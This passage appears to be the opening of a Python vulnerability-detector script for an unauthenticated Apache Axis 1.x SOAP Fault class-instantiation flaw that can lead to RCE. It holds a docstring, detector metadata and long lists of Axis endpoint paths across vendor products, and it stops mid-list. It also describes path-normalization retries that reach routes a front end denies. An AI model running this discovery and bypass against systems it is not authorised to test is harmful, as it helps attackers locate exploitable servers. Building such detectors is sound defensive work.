#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = [
#     "curl-cffi>=0.15.0",
# ]
# ///
"""Apache Axis 1.x SOAP Fault arbitrary-constructor scanner.

The scanner first discovers a concrete Axis 1.x service. It then compares two
same-size benign String controls with BigInteger(String), whose parsing cost is
observable only when vulnerable Axis constructs the attacker-selected class.
No callback, file write, service deployment, or command execution is used.

Discovery uses the stock and custom servlet mappings, application contexts,
product endpoints and SOAP fingerprints from the Axis inventory scanner. It
stops after finding an Axis service candidate; finding Axis alone does not
establish the constructor vulnerability. When a path-specific front end denies
an Axis route, guarded Java path-normalization retries can reach the same route.
"""

from __future__ import annotations

import asyncio
import html
import re
import secrets
import struct
import sys
import time
from urllib.parse import quote, unquote, urljoin, urlsplit

from toadex.bug_bank_detector import Target, run, sweep

DETECTOR_ID = "apache-axis-soap-fault-arbitrary-class-instantiation"
DETECTOR_TITLE = (
    "Apache Axis SOAP Fault exceptionName arbitrary class instantiation can lead to "
    "unauthenticated RCE"
)
DETECTOR_SEVERITY = "critical"
DETECTOR_DESCRIPTION = (
    "Apache Axis 1.x before upstream commit 41f3b4e8d04e310ca81f86b92630ab2c11d608bd "
    "constructs the class named by an inbound SOAP Fault detail/exceptionName before "
    "checking that it is an AxisFault. A classpath gadget can turn the unauthenticated "
    "constructor primitive into SSRF, file access, or remote command execution. This "
    "scanner identifies Axis 1.x and uses a matched java.lang.String versus "
    "java.math.BigInteger parsing-time differential to prove arbitrary construction "
    "without OOB interaction or persistent state. It probes stock, context, "
    "custom-mapping and product endpoints using GET and SOAP fingerprints, "
    "including guarded path-normalization checks for denied Axis routes."
)


# High-yield generic paths go first. Later paths come from confirmed deployments
# retained in the entry's source-finding catalogue. Every item is a read-only WSDL
# or servlet-listing request; a positive response supplies the exact POST endpoint.
DISCOVERY_PATH_BATCHES = (
    (
        "/servlet/AxisServlet",
        "/services/Version?wsdl",
        "/services/Version/?wsdl",
        "/axis/servlet/AxisServlet",
        "/axis/services/Version?wsdl",
        "/pf-ws/services/SSODirectoryService?wsdl",
        "/rpc/soap-axis/confluenceservice-v2?wsdl",
    ),
    (
        "/plugins/servlet/soap-axis1/confluenceservice-v2?wsdl",
        "/polarion/ws/services/SessionWebService?wsdl",
        "/nidp/services/DiscoveryService?wsdl",
        "/ws/services/Version?wsdl",
        "/ws/services/processMarlinRequest?wsdl",
        "/soap/services/Version?wsdl",
    ),
    (
        "/soap/services/AdminService?wsdl",
        "/api/Version?wsdl",
        "/oca/webservice/Version?wsdl",
        "/dswsbobje/services/Version?wsdl",
        "/dswsbobje/services/Session?wsdl",
        "/MicroStrategyWS/services/Version?wsdl",
    ),
    (
        "/MicroStrategyWS/servlet/AxisServlet",
        "/rpc/soap/jirasoapservice-v2?wsdl",
        "/crowd/services/SecurityServer?wsdl",
        "/api/axis/Portal_UserService?wsdl",
        "/api/axis/com.liferay.portal.service.UserService?wsdl",
        "/tunnel-web/secure/axis/Portal_UserService?wsdl",
    ),
    (
        "/tunnel-web/axis/Portal_UserService?wsdl",
        "/ccd/servlet/AxisServlet",
        "/icc/tmi_rpt_grf_insert/services/tmi_rpt_grf_insert?wsdl",
        "/wba/services/LicenseService?wsdl",
        "/flexnet/services/ActivationService?wsdl",
        "/nus/services/NetUpdateSOAP?wsdl",
    ),
    (
        "/cas/services/CatalogingSOAP?wsdl",
        "/ecs/services/ECommerceSOAP?wsdl",
        "/ias/services/IdentityAuthenticationSOAP?wsdl",
        "/gintel-v6-prod/b2b-gintel-wallboard-csta-events/services/Version?wsdl",
        "/tsg-csta/services/Version?wsdl",
        "/wallboard-tsg-csta/services/Version?wsdl",
    ),
)

# Concrete POST paths implied by the discovery requests above. The final
# fallback in vulnerable() still covers a same-origin soap:address or service
# listing path that is not in this catalogue.
KNOWN_DISCOVERY_PATHS = ('/servlet/AxisServlet',
 '/services/Version?wsdl',
 '/services/Version/?wsdl',
 '/axis/servlet/AxisServlet',
 '/axis/services/Version?wsdl',
 '/pf-ws/services/SSODirectoryService?wsdl',
 '/rpc/soap-axis/confluenceservice-v2?wsdl',
 '/plugins/servlet/soap-axis1/confluenceservice-v2?wsdl',
 '/polarion/ws/services/SessionWebService?wsdl',
 '/nidp/services/DiscoveryService?wsdl',
 '/ws/services/Version?wsdl',
 '/ws/services/processMarlinRequest?wsdl',
 '/soap/services/Version?wsdl',
 '/soap/services/AdminService?wsdl',
 '/api/Version?wsdl',
 '/oca/webservice/Version?wsdl',
 '/dswsbobje/services/Version?wsdl',
 '/dswsbobje/services/Session?wsdl',
 '/MicroStrategyWS/services/Version?wsdl',
 '/MicroStrategyWS/servlet/AxisServlet',
 '/rpc/soap/jirasoapservice-v2?wsdl',
 '/crowd/services/SecurityServer?wsdl',
 '/api/axis/Portal_UserService?wsdl',
 '/api/axis/com.liferay.portal.service.UserService?wsdl',
 '/tunnel-web/secure/axis/Portal_UserService?wsdl',
 '/tunnel-web/axis/Portal_UserService?wsdl',
 '/ccd/servlet/AxisServlet',
 '/icc/tmi_rpt_grf_insert/services/tmi_rpt_grf_insert?wsdl',
 '/wba/services/LicenseService?wsdl',
 '/flexnet/services/ActivationService?wsdl',
 '/nus/services/NetUpdateSOAP?wsdl',
 '/cas/services/CatalogingSOAP?wsdl',
 '/ecs/services/ECommerceSOAP?wsdl',
 '/ias/services/IdentityAuthenticationSOAP?wsdl',
 '/gintel-v6-prod/b2b-gintel-wallboard-csta-events/services/Version?wsdl',
 '/tsg-csta/services/Version?wsdl',
 '/wallboard-tsg-csta/services/Version?wsdl')

KNOWN_SERVICE_PATHS = (
    "/axis/services/AdminService",
    "/axis/services/Version",
    "/axis/servlet/AxisServlet",
    "/services/AdminService",
    "/services/Version",
    "/services/Version/",
    "/servlet/AxisServlet",
    "/pf-ws/services/SSODirectoryService",
    "/rpc/soap-axis/confluenceservice-v2",
    "/plugins/servlet/soap-axis1/confluenceservice-v2",
    "/polarion/ws/services/SessionWebService",
    "/nidp/services/DiscoveryService",
    "/ws/services/Version",
    "/ws/services/processMarlinRequest",
    "/soap/services/AdminService",
    "/soap/services/Version",
    "/api/Version",
    "/oca/webservice/Version",
    "/dswsbobje/services/Version",
    "/dswsbobje/services/Session",
    "/MicroStrategyWS/services/Version",
    "/MicroStrategyWS/servlet/AxisServlet",
    "/rpc/soap/jirasoapservice-v2",
    "/crowd/services/SecurityServer",
    "/api/axis/Portal_UserService",
    "/api/axis/com.liferay.portal.service.UserService",
    "/tunnel-web/secure/axis/Portal_UserService",
    "/tunnel-web/axis/Portal_UserService",
    "/ccd/servlet/AxisServlet",
    "/icc/tmi_rpt_grf_insert/services/tmi_rpt_grf_insert",
    "/wba/services/LicenseService",
    "/flexnet/services/ActivationService",
    "/nus/services/NetUpdateSOAP",
    "/cas/services/CatalogingSOAP",
    "/ecs/services/ECommerceSOAP",
    "/ias/services/IdentityAuthenticationSOAP",
    "/gintel-v6-prod/b2b-gintel-wallboard-csta-events/services/Version",
    "/tsg-csta/services/Version",
    "/wallboard-tsg-csta/services/Version",
)

# Probed under the stock contexts, the root and /axis.
STOCK_CONTEXT_PROBES = (
    "/services/{rand}",
    "/services",
    "/servlet/AxisServlet",
    "/services/Version?wsdl",
    "/happyaxis.jsp",
    "/",
)
# Probed under every other context: an unknown service under its services
# mapping, which Axis answers itself, and its servlet.
CONTEXT_PROBES = ("/services/{rand}", "/servlet/AxisServlet")

THOROUGH_FULL_CONTEXTS = (
    "",
    "/axis",
)

THOROUGH_CUSTOM_MAPPING_NAMES = (
    "webservice",
    "webservices",
    "WebService",
    "WebServices",
    "webService",
    "ws",
    "WS",
    "soap",
    "SOAP",
    "axis",
    "Axis",
    "service",
    "Services",
    "soapservices",
    "axisservices",
    "axis-services",
    "axisws",
    "soapws",
    "soapapi",
    "webapi",
    "api",
    "rpc",
    "remote",
    "remoting",
    "jaxrpc",
    "wsapi",
    "AxisServlet",
    "soap/services",
    "api/soap",
)

THOROUGH_COMMON_CONTEXTS = (
    "/axis1",
    "/ws",
    "/webservices",
    "/soap",
    "/api",
    "/services",
    "/jboss-net",
    "/arsys",
    "/xmlpserver",
    "/meaweb",
    "/wsh",
    "/webservice",
    "/tomcat/axis",
    "/juddi",
    "/imcws",
    "/WebServiceImpl",
    "/wssgs",
    "/sakai-axis",
    "/globalsight",
    "/jasperserver",
    "/jasperserver-pro",
    "/alfresco",
    "/tresearch",
    "/MicroStrategyWS",
    "/rpc",
    "/axis-ws",
    "/axisws",
    "/soapws",
    "/esb",
    "/integration",
    "/middleware",
    "/gateway",
    "/app",
    "/portal",
    "/server",
    "/service",
    "/WebServices",
    "/AXIS",
    "/Axis",
    "/axis-1.4",
    "/axis-1_4",
    "/axis14",
    "/axis-1.3",
    "/axis-1.2",
    "/axis-1.2.1",
    "/axis12",
    "/axis13",
    "/soapapi",
    "/webapi",
    "/jaxrpc",
    "/remoting",
    "/wsapi",
    "/soap-ws",
    "/ws-soap",
    "/legacy",
    "/apps",
)

THOROUGH_ALT_MAPPINGS = (
    "/ws",
    "/soap",
    "/webservices",
    "/webservice",
    "/api/axis",
    "/api/secure/axis",
    "/tunnel-web/axis",
    "/tunnel-web/secure/axis",
    "/rpc/soap",
    "/rpc/soap-axis",
    "/soap/services",
    "/alfresco/api",
    "/AxisServlet",
    "/servlet/axis",
    "/webdialer/services",
    "/realtimeservice/services",
    "/perfmonservice/services",
    "/controlcenterservice/services",
)

# Services mappings of products that mount Axis at a fixed path, from the
# inventory's confirmed deployments: one unknown-service probe each.
THOROUGH_VENDOR_ROOTS = (
    "/rpc/soap",
    "/rpc/soap-axis",
    "/ce-soap60/services",
    "/ce-soap50/services",
    "/polarion/ws/services",
    "/ssf/ws",
    "/globalsight/services",
    "/webdialer/services",
    "/realtimeservice/services",
    "/realtimeservice2/services",
    "/perfmonservice/services",
    "/perfmonservice2/services",
    "/controlcenterservice/services",
    "/controlcenterservice2/services",
    "/CDRonDemandService/services",
    "/logcollectionservice/services",
    "/logcollectionservice2/services",
    "/axis",
    "/usm/services",
    "/introscope-web-services/services",
    "/PAS/services",
    "/SiteScope/services",
    "/osapi",
    "/arsys/services",
    "/meaweb/services",
    "/awsapi/servlet/AxisServlet",
    "/iam/im/TEWS6",
    "/idm/TEWS6",
    "/IdentityGuardAuthService/services",
    "/IdentityGuardAdminService/services",
    "/cc/soap",
    "/pc/soap",
    "/bc/soap",
    "/ab/soap",
    "/soap/services",
    "/xmlpserver/services",
    "/pspc/services",
    "/core/services",
    "/wsh/services",
    "/cmx/services",
    "/ws",
    "/sbm/services",
    "/prweb/PRSOAPServlet",
    "/MicroStrategyWS/services",
    "/dswsbobje/services",
    "/jasperserver/services",
    "/jasperserver-pro/services",
    "/SpagoBI/services",
    "/SpagoBI/sdk",
    "/alfresco/api",
    "/api/axis",
    "/api/secure/axis",
    "/tunnel-web/axis",
    "/tunnel-web/secure/axis",
    "/CFIDE/services",
    "/fedora/services",
    "/fedora/servlet/AxisServlet",
    "/exist/services",
    "/dspace-lni/lni",
    "/dspace/lni",
    "/wsrp4j/wsrp4j",
    "/wsrp4j-producer-webapp/services",
    "/wsrf/services",
    "/ws4ee/services",
    "/jboss-net/services",
    "/juddi/services",
    "/Scada-LTS/services",
    "/ACMEWS/services",
    "/infranetwebsvc/services",
    "/messageeventservice/services",
    "/vmws/services",
    "/openbravo/services",
    "/CuramWS/services",
    "/adxwsvc/services",
    "/XIAxisAdapter",
    "/ormrpc/services",
    "/defaultroot/services",
    "/zfca/axis",
    "/active-bpel/services",
    "/active-bpel/services/soap12",
    "/oer/services",
    "/com.ibm.ram.repository.web.ws.was/services",
    "/com.ibm.ram.repository.web.ws.was/RAMSecure/services",
    "/axis2/services",
    "/pf-mgmt-ws/ws",
    "/pf-ws/services",
    "/ims-ws/services",
    "/dms/services",
    "/dms2/services2",
    "/ServiceEmulation/services",
    "/konakart/services",
    "/konakartadmin/services",
    "/josso/services",
    "/greenstone3/services",
    "/xplanner/soap",
    "/xnat/services",
    "/xnat/servlet/AxisServlet",
    "/Rhythmyx/designwebservices",
    "/Rhythmyx/servlet",
    "/Rhythmyx/webservices",
    "/greenstone3/servlet/AxisServlet",
    "/ptapi/services",
    "/client/services",
    "/_common/webservices",
    "/flexnet/services",
    "/mailarchiva/services",
    "/glite-security-voms-admin-interface",
    "/aws/services",
    "/afirmaws/services",
    "/firma/services",
    "/SIGEM_TramitacionWS/services",
    "/SIGEM_RegistroTelematicoWS/services",
    "/SIGEM_EstructuraOrganizativaWS/services",
    "/SIGEM_EntidadesWS/services",
    "/SIGEM_CertificacionWS/services",
    "/SIGEM_CatastroWS/services",
    "/SIGEM_CalendarioWS/services",
    "/SIGEM_AutenticacionUsuariosWS/services",
    "/SIGEM_AntivirusWS/services",
    "/SIGEM_AdministracionSesionesBackOfficeWS/services",
    "/SIGEM_AdministracionSesionesAdmWS/services",
    "/ispacservicesws/services",
    "/archidoc/services",
    "/sf-soap43/services",
    "/ecmengine/services",
    "/sbn/services",
    "/emf-web/services",
    "/knowage/sdk",
    "/SpagoAxisService/services",
    "/TeamWeb/services",
    "/service_manager/invoker",
    "/cabio41/services",
    "/cabio42/services",
    "/cabio43/services",
    "/rtis",
    "/ws-legacy/services",
    "/skyboxview/webservice/services",
    "/skyboxview-softwareupdate/services",
    "/DL229/services",
    "/LFS/services",
    "/bdd/api/axis",
    "/bdd/api/secure/axis",
    "/eid/api/axis",
    "/eid/api/secure/axis",
    "/Workplace/P8BPMWSBroker",
    "/WorkplaceXT/P8BPMWSBroker",
    "/plm-api-axis/services",
    "/mule/services",
    "/security-ws/services",
    "/cr-ws/services",
    "/search-ws/services",
    "/process/services",
    "/notification/services",
    "/reporting-ws/services",
    "/userpref-ws/services",
    "/scoring/services",
    "/discussions/ws",
    "/discussions/ws/axis/services",
    "/EXEWebService/services",
    "/vertex-ws/services",
    "/webapi/services",
    "/PI/services",
    "/integration/services",
    "/webapps/ws/services",
    "/servlet/axis2/services",
    "/Services1.0/services",
    "/AlmServices1.0/services",
    "/www/core-service/services",
    "/ProtectManager/services",
    "/wsa/wsa1",
    "/webservice/services",
    "/Services",
    "/PrimoWebServices/services",
    "/i2b2/services",
    "/c4ws/services",
    "/uapws/service",
    "/portal/services",
    "/selfservice/service",
    "/xtHisService/services",
    "/sys/webservice",
    "/axis2-AWC/services",
    "/seeyon/services",
    "/ode/processes",
    "/petals/services",
    "/reqpro/services",
    "/webservices",
    "/eventmanager/services",
    "/dmwebservices2/services",
    "/www/manager-service/services",
    "/oaam_server/services",
    "/webservice",
    "/ITIMWebServices/services",
    "/AdaptiveAuthentication/services",
    "/WebServiceImpl/services",
    "/management/services",
    "/concerto/services",
    "/openmeetings/services",
    "/imcws/services",
    "/wssgs/services",
    "/tresearch/services",
    "/tomcat/axis/services",
    "/AddressBookJ2WE/services",
    "/Bank/services",
    "/GreenhouseEJB/services",
    "/opc/services",
    "/StockQuote/services",
    "/AddressBookW2JE/services",
    "/OrderProcessorEJB/services",
    "/WarehouseEJB/services",
    "/soap/servlet",
    "/SASBIWS/services",
    "/i2b2/rest",
    "/axis2/rest",
    "/interact/services",
    "/plan/services",
    "/opal2/services",
    "/grouper-ws/services",
    "/grouperWs/services",
    "/SASWIPSoapServices/services",
    "/foundation-webapp/services",
    "/imws/services",
    "/lmc/services",
    "/nbapi",
    "/APG-WS/wsapi",
    "/CommandCenterWebServices",
    "/apis/soap",
    "/OVSWS",
    "/les-services/services",
    "/ot-authws/services",
    "/iw/services/cm/2.0",
    "/vbr_soa/services",
    "/vbr_wsapi/services",
    "/axl",
    "/EyrAPI/EyrAPIConfiguration",
    "/FileStoreWebService",
    "/arcotuds/services",
    "/wsstack/services",
    "/qxi/services",
    "/idm/servlet",
    "/albpmServices",
    "/fuegoServices",
    "/imssoap/services",
    "/mws-ws/services",
    "/EndevorService/services",
    "/service/services",
    "/WSRRCoreSDO/services",
    "/webacs/services",
    "/soap",
    "/ocw/services",
    "/ocw/ws",
)

# Baseline thorough GET plan generated from the supplied axis_inventory-2.py.
INVENTORY_BASELINE_GETS = (('/services/{rand}', '/services'),
 ('/services', '/services'),
 ('/servlet/AxisServlet', '/servlet/AxisServlet'),
 ('/services/Version?wsdl', '/services'),
 ('/happyaxis.jsp', None),
 ('/axis/services/{rand}', '/axis/services'),
 ('/axis/services', '/axis/services'),
 ('/axis/servlet/AxisServlet', '/axis/servlet/AxisServlet'),
 ('/axis/services/Version?wsdl', '/axis/services'),
 ('/axis/happyaxis.jsp', None),
 ('/axis/', None),
 ('/services?list', '/services'),
 ('/services/Version?method=getVersion', '/services'),
 ('/services/Version', '/services'),
 ('/services/AdminService?wsdl', '/services'),
 ('/services/{rand}?wsdl', '/services'),
 ('/services/{rand}?method=axisinv', '/services'),
 ('/servlet/AxisServlet?list', '/servlet/AxisServlet'),
 ('/servlet/AxisServlet/{rand}', '/servlet/AxisServlet'),
 ('/servlet/AdminServlet', None),
 ('/servlet/org.apache.axis.transport.http.AxisServlet',
  '/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/{rand}.jws', None),
 ('/EchoHeaders.jws?wsdl', None),
 ('/index.jsp', None),
 ('/fingerprint.jsp', None),
 ('/SOAPMonitor', None),
 ('/axis/services?list', '/axis/services'),
 ('/axis/services/Version?method=getVersion', '/axis/services'),
 ('/axis/services/Version', '/axis/services'),
 ('/axis/services/AdminService?wsdl', '/axis/services'),
 ('/axis/services/{rand}?wsdl', '/axis/services'),
 ('/axis/services/{rand}?method=axisinv', '/axis/services'),
 ('/axis/servlet/AxisServlet?list', '/axis/servlet/AxisServlet'),
 ('/axis/servlet/AxisServlet/{rand}', '/axis/servlet/AxisServlet'),
 ('/axis/servlet/AdminServlet', None),
 ('/axis/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axis/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axis/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axis/{rand}.jws', None),
 ('/axis/EchoHeaders.jws?wsdl', None),
 ('/axis/index.jsp', None),
 ('/axis/fingerprint.jsp', None),
 ('/axis/SOAPMonitor', None),
 ('/{rand}', None),
 ('/Version?wsdl', None),
 ('/webservice/{rand}', '/webservice'),
 ('/webservice/Version?wsdl', '/webservice'),
 ('/axis/{rand}', '/axis'),
 ('/axis/Version?wsdl', '/axis'),
 ('/axis/webservice/{rand}', '/axis/webservice'),
 ('/axis/webservice/Version?wsdl', '/axis/webservice'),
 ('/webservices/{rand}', '/webservices'),
 ('/webservices/Version?wsdl', '/webservices'),
 ('/axis/webservices/{rand}', '/axis/webservices'),
 ('/axis/webservices/Version?wsdl', '/axis/webservices'),
 ('/ws/{rand}', '/ws'),
 ('/ws/Version?wsdl', '/ws'),
 ('/axis/ws/{rand}', '/axis/ws'),
 ('/axis/ws/Version?wsdl', '/axis/ws'),
 ('/soap/{rand}', '/soap'),
 ('/soap/Version?wsdl', '/soap'),
 ('/axis/soap/{rand}', '/axis/soap'),
 ('/axis/soap/Version?wsdl', '/axis/soap'),
 ('/axis/axis/{rand}', '/axis/axis'),
 ('/axis/axis/Version?wsdl', '/axis/axis'),
 ('/service/{rand}', '/service'),
 ('/service/Version?wsdl', '/service'),
 ('/axis/service/{rand}', '/axis/service'),
 ('/axis/service/Version?wsdl', '/axis/service'),
 ('/soapservices/{rand}', '/soapservices'),
 ('/soapservices/Version?wsdl', '/soapservices'),
 ('/axis/soapservices/{rand}', '/axis/soapservices'),
 ('/axis/soapservices/Version?wsdl', '/axis/soapservices'),
 ('/axisservices/{rand}', '/axisservices'),
 ('/axisservices/Version?wsdl', '/axisservices'),
 ('/axis/axisservices/{rand}', '/axis/axisservices'),
 ('/axis/axisservices/Version?wsdl', '/axis/axisservices'),
 ('/axis-services/{rand}', '/axis-services'),
 ('/axis-services/Version?wsdl', '/axis-services'),
 ('/axis/axis-services/{rand}', '/axis/axis-services'),
 ('/axis/axis-services/Version?wsdl', '/axis/axis-services'),
 ('/axisws/{rand}', '/axisws'),
 ('/axisws/Version?wsdl', '/axisws'),
 ('/axis/axisws/{rand}', '/axis/axisws'),
 ('/axis/axisws/Version?wsdl', '/axis/axisws'),
 ('/soapws/{rand}', '/soapws'),
 ('/soapws/Version?wsdl', '/soapws'),
 ('/axis/soapws/{rand}', '/axis/soapws'),
 ('/axis/soapws/Version?wsdl', '/axis/soapws'),
 ('/soapapi/{rand}', '/soapapi'),
 ('/soapapi/Version?wsdl', '/soapapi'),
 ('/axis/soapapi/{rand}', '/axis/soapapi'),
 ('/axis/soapapi/Version?wsdl', '/axis/soapapi'),
 ('/webapi/{rand}', '/webapi'),
 ('/webapi/Version?wsdl', '/webapi'),
 ('/axis/webapi/{rand}', '/axis/webapi'),
 ('/axis/webapi/Version?wsdl', '/axis/webapi'),
 ('/api/{rand}', '/api'),
 ('/api/Version?wsdl', '/api'),
 ('/axis/api/{rand}', '/axis/api'),
 ('/axis/api/Version?wsdl', '/axis/api'),
 ('/rpc/{rand}', '/rpc'),
 ('/rpc/Version?wsdl', '/rpc'),
 ('/axis/rpc/{rand}', '/axis/rpc'),
 ('/axis/rpc/Version?wsdl', '/axis/rpc'),
 ('/remote/{rand}', '/remote'),
 ('/remote/Version?wsdl', '/remote'),
 ('/axis/remote/{rand}', '/axis/remote'),
 ('/axis/remote/Version?wsdl', '/axis/remote'),
 ('/remoting/{rand}', '/remoting'),
 ('/remoting/Version?wsdl', '/remoting'),
 ('/axis/remoting/{rand}', '/axis/remoting'),
 ('/axis/remoting/Version?wsdl', '/axis/remoting'),
 ('/jaxrpc/{rand}', '/jaxrpc'),
 ('/jaxrpc/Version?wsdl', '/jaxrpc'),
 ('/axis/jaxrpc/{rand}', '/axis/jaxrpc'),
 ('/axis/jaxrpc/Version?wsdl', '/axis/jaxrpc'),
 ('/wsapi/{rand}', '/wsapi'),
 ('/wsapi/Version?wsdl', '/wsapi'),
 ('/axis/wsapi/{rand}', '/axis/wsapi'),
 ('/axis/wsapi/Version?wsdl', '/axis/wsapi'),
 ('/soap/services/{rand}', '/soap/services'),
 ('/soap/services/Version?wsdl', '/soap/services'),
 ('/axis/soap/services/{rand}', '/axis/soap/services'),
 ('/axis/soap/services/Version?wsdl', '/axis/soap/services'),
 ('/api/soap/{rand}', '/api/soap'),
 ('/api/soap/Version?wsdl', '/api/soap'),
 ('/axis/api/soap/{rand}', '/axis/api/soap'),
 ('/axis/api/soap/Version?wsdl', '/axis/api/soap'),
 ('/WebService/{rand}', '/WebService'),
 ('/WebService/Version?wsdl', '/WebService'),
 ('/axis/WebService/{rand}', '/axis/WebService'),
 ('/axis/WebService/Version?wsdl', '/axis/WebService'),
 ('/WebServices/{rand}', '/WebServices'),
 ('/WebServices/Version?wsdl', '/WebServices'),
 ('/axis/WebServices/{rand}', '/axis/WebServices'),
 ('/axis/WebServices/Version?wsdl', '/axis/WebServices'),
 ('/webService/{rand}', '/webService'),
 ('/webService/Version?wsdl', '/webService'),
 ('/axis/webService/{rand}', '/axis/webService'),
 ('/axis/webService/Version?wsdl', '/axis/webService'),
 ('/WS/{rand}', '/WS'),
 ('/WS/Version?wsdl', '/WS'),
 ('/axis/WS/{rand}', '/axis/WS'),
 ('/axis/WS/Version?wsdl', '/axis/WS'),
 ('/SOAP/{rand}', '/SOAP'),
 ('/SOAP/Version?wsdl', '/SOAP'),
 ('/axis/SOAP/{rand}', '/axis/SOAP'),
 ('/axis/SOAP/Version?wsdl', '/axis/SOAP'),
 ('/Axis/{rand}', '/Axis'),
 ('/Axis/Version?wsdl', '/Axis'),
 ('/axis/Axis/{rand}', '/axis/Axis'),
 ('/axis/Axis/Version?wsdl', '/axis/Axis'),
 ('/Services/{rand}', '/Services'),
 ('/Services/Version?wsdl', '/Services'),
 ('/axis/Services/{rand}', '/axis/Services'),
 ('/axis/Services/Version?wsdl', '/axis/Services'),
 ('/AxisServlet', '/AxisServlet'),
 ('/AxisServlet/Version?wsdl', '/AxisServlet'),
 ('/axis/AxisServlet', '/axis/AxisServlet'),
 ('/axis/AxisServlet/Version?wsdl', '/axis/AxisServlet'),
 ('/ws', '/ws'),
 ('/soap', None),
 ('/webservices', '/webservices'),
 ('/webservice', '/webservice'),
 ('/api/axis/{rand}', '/api/axis'),
 ('/api/axis/Version?wsdl', '/api/axis'),
 ('/api/axis', None),
 ('/api/secure/axis/{rand}', '/api/secure/axis'),
 ('/api/secure/axis/Version?wsdl', '/api/secure/axis'),
 ('/api/secure/axis', None),
 ('/tunnel-web/axis/{rand}', '/tunnel-web/axis'),
 ('/tunnel-web/axis/Version?wsdl', '/tunnel-web/axis'),
 ('/tunnel-web/axis', None),
 ('/tunnel-web/secure/axis/{rand}', '/tunnel-web/secure/axis'),
 ('/tunnel-web/secure/axis/Version?wsdl', '/tunnel-web/secure/axis'),
 ('/tunnel-web/secure/axis', None),
 ('/rpc/soap/{rand}', '/rpc/soap'),
 ('/rpc/soap/Version?wsdl', '/rpc/soap'),
 ('/rpc/soap', '/rpc/soap'),
 ('/rpc/soap-axis/{rand}', '/rpc/soap-axis'),
 ('/rpc/soap-axis/Version?wsdl', '/rpc/soap-axis'),
 ('/rpc/soap-axis', '/rpc/soap-axis'),
 ('/soap/services', None),
 ('/alfresco/api/{rand}', '/alfresco/api'),
 ('/alfresco/api/Version?wsdl', '/alfresco/api'),
 ('/alfresco/api', '/alfresco/api'),
 ('/servlet/axis/{rand}', '/servlet/axis'),
 ('/servlet/axis/Version?wsdl', '/servlet/axis'),
 ('/servlet/axis', '/servlet/axis'),
 ('/webdialer/services/{rand}', '/webdialer/services'),
 ('/webdialer/services/Version?wsdl', '/webdialer/services'),
 ('/webdialer/services', '/webdialer/services'),
 ('/realtimeservice/services/{rand}', '/realtimeservice/services'),
 ('/realtimeservice/services/Version?wsdl', '/realtimeservice/services'),
 ('/realtimeservice/services', '/realtimeservice/services'),
 ('/perfmonservice/services/{rand}', '/perfmonservice/services'),
 ('/perfmonservice/services/Version?wsdl', '/perfmonservice/services'),
 ('/perfmonservice/services', '/perfmonservice/services'),
 ('/controlcenterservice/services/{rand}', '/controlcenterservice/services'),
 ('/controlcenterservice/services/Version?wsdl', '/controlcenterservice/services'),
 ('/controlcenterservice/services', '/controlcenterservice/services'),
 ('/axis1/services/{rand}', '/axis1/services'),
 ('/axis1/services', '/axis1/services'),
 ('/axis1/servlet/AxisServlet', '/axis1/servlet/AxisServlet'),
 ('/axis1/services/Version?wsdl', '/axis1/services'),
 ('/axis1/happyaxis.jsp', None),
 ('/axis1/', None),
 ('/ws/services', None),
 ('/ws/services/{rand}', '/ws/services'),
 ('/ws/servlet/AxisServlet', '/ws/servlet/AxisServlet'),
 ('/ws/services/Version?wsdl', '/ws/services'),
 ('/ws/happyaxis.jsp', None),
 ('/ws/', None),
 ('/webservices/services/{rand}', '/webservices/services'),
 ('/webservices/services', '/webservices/services'),
 ('/webservices/servlet/AxisServlet', '/webservices/servlet/AxisServlet'),
 ('/webservices/services/Version?wsdl', '/webservices/services'),
 ('/webservices/happyaxis.jsp', None),
 ('/webservices/', None),
 ('/soap/servlet/AxisServlet', '/soap/servlet/AxisServlet'),
 ('/soap/happyaxis.jsp', None),
 ('/soap/', None),
 ('/api/services/{rand}', '/api/services'),
 ('/api/services', '/api/services'),
 ('/api/servlet/AxisServlet', '/api/servlet/AxisServlet'),
 ('/api/services/Version?wsdl', '/api/services'),
 ('/api/happyaxis.jsp', None),
 ('/api/', None),
 ('/services/services/{rand}', '/services/services'),
 ('/services/services', '/services/services'),
 ('/services/servlet/AxisServlet', '/services/servlet/AxisServlet'),
 ('/services/services/Version?wsdl', '/services/services'),
 ('/services/happyaxis.jsp', None),
 ('/services/', None),
 ('/jboss-net/services/{rand}', '/jboss-net/services'),
 ('/jboss-net/services/Version?wsdl', '/jboss-net/services'),
 ('/jboss-net/happyaxis.jsp', None),
 ('/jboss-net/services', '/jboss-net/services'),
 ('/jboss-net/servlet/AxisServlet', '/jboss-net/servlet/AxisServlet'),
 ('/jboss-net/', None),
 ('/arsys/services/{rand}', '/arsys/services'),
 ('/arsys/services/Version?wsdl', '/arsys/services'),
 ('/arsys/services', '/arsys/services'),
 ('/arsys/servlet/AxisServlet', '/arsys/servlet/AxisServlet'),
 ('/arsys/happyaxis.jsp', None),
 ('/arsys/', None),
 ('/xmlpserver/services/{rand}', '/xmlpserver/services'),
 ('/xmlpserver/services/Version?wsdl', '/xmlpserver/services'),
 ('/xmlpserver/services', '/xmlpserver/services'),
 ('/xmlpserver/servlet/AxisServlet', '/xmlpserver/servlet/AxisServlet'),
 ('/xmlpserver/happyaxis.jsp', None),
 ('/xmlpserver/', None),
 ('/meaweb/services/{rand}', '/meaweb/services'),
 ('/meaweb/services/Version?wsdl', '/meaweb/services'),
 ('/meaweb/services', None),
 ('/meaweb/servlet/AxisServlet', '/meaweb/servlet/AxisServlet'),
 ('/meaweb/happyaxis.jsp', None),
 ('/meaweb/', None),
 ('/wsh/services/{rand}', '/wsh/services'),
 ('/wsh/services/Version?wsdl', '/wsh/services'),
 ('/wsh/services', '/wsh/services'),
 ('/wsh/servlet/AxisServlet', '/wsh/servlet/AxisServlet'),
 ('/wsh/happyaxis.jsp', None),
 ('/wsh/', None),
 ('/webservice/services/{rand}', '/webservice/services'),
 ('/webservice/services/Version?wsdl', '/webservice/services'),
 ('/webservice/services', '/webservice/services'),
 ('/webservice/servlet/AxisServlet', '/webservice/servlet/AxisServlet'),
 ('/webservice/happyaxis.jsp', None),
 ('/webservice/', None),
 ('/tomcat/axis/services/{rand}', '/tomcat/axis/services'),
 ('/tomcat/axis/services/Version?wsdl', '/tomcat/axis/services'),
 ('/tomcat/axis/services', '/tomcat/axis/services'),
